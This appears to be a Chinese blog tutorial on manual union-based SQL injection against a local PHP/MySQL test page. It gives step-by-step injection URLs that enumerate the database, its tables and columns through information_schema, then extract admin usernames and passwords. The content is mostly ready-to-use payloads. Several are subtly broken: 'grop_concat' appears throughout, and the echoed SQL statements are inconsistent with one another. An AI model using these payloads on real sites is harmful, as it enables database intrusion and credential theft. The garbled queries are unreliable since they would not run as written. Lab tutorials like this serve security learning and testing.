php mysql注入测试_php+mysql 注入基本过程

当mysql版本>5.0时我们只需要访问information_schema库即可查询数据库的相关概要信息,

而对于<5.0的版本则需要爆破,今天我们测试的环境是mysql 5.5.40,对于小于5.0的mysql不建议手工测试,

可以使用slqmap等注入工具辅助,成功率在于字典的大小。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。

其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

如数据库名,数据库的表,表栏的数据类型与访问权 限等。

测试环境:id并没有进行任何过滤处理从而造成典型的GET数字型注入

1.验证注入:

and 1=1

url:http://127.0.0.1/test.php?id=9 and 1=1

sql语句:SELECT * FROM article WHERE id='9 and 1=1'

返回正常

and 1=2

url:http://127.0.0.1/test.php?id=9 and 1=2

sql语句:SELECT * FROM article WHERE id='9 and 1=2'

出错

2.判断字段数:

2.1order by查询

url:http://127.0.0.1/test.php?id=9 order by 1,2,3,4

sql语句:SELECT * FROM article WHERE id = 90 order by 1,2,3,4

order by查询:order by在sql语句中是对结果集的指定列进行排序,

比如我们想让结果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次类推,

按照这个原理我们来判断他的字段数,如果我们按照他的第1列进行排序数据库会返回正常,

但是当我们按照第100列排序,但是数据库中并不存在第100列,从而报错。

如:当我们测试到7时数据库报错,说明该表只有6个字段

2.2UNION SELECT 联合查询

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null

sql语句:SELECT * FROM article WHERE id = 90 union select null,null,null,null

UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,

就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,

也就是说当我们union select的列与它查询的列相同时,页面返回正常。

如:当字段为6个时页面返回正常,而大于或小于字段数时都会报错。

解决两个小问题:

问题一:大部分程序只会调用数据库查询的第一条返回(我们这个也是),而通过联合查询出的数据中,

我们想看到的数据是在第二条中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,

第二种是通过sql语句直接返回我们想要的数据。

方法一:我们让第一个查询的结果始终为假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

结果:返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了

我们把语句放在mysql中看一下返回结果:

b8c05ab658c1b65f2a9afba45d13ec04.png

方法二:通过limit语句,limit在mysql中是用来分页的,我们也可以通过他拿到我们想要的结果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

返回也是空,同上面结果一样

问题二:哪个列中的数据是在页面中显示出来的,可能有一些列中的数据只是用于后台程序对数据处理使用,

并不会在前台显示,所以我们需要判断哪个字段我们可以看到。如图,我们通过数字代替了NULL进行查询,

确定了2,3,4,5 四个字段可以在页面中显示。

回答一下为什么我们不一开始就是用数字,因为union select 不仅要求列的数量相同,同时数据类型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查询库名:

这里我们直接使用mysql自带函数database()查询 得到库名:test

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

结果:显示出test

4.查表名:

这里就用到了我们一开始说的information_schema库,查表名我们主要用到的是TABLES表。

这里我们用到了group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。

这里我们的目标是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

结果:显示出所有表名,第一个为admin

5.查字段:

这里同样使用information_schema库,这里使用的是columns表。得到字段id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

结果:id,username,password

6.查数据:

最终目标就出来啦!

url:url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

sql:sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin

结果就出来了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值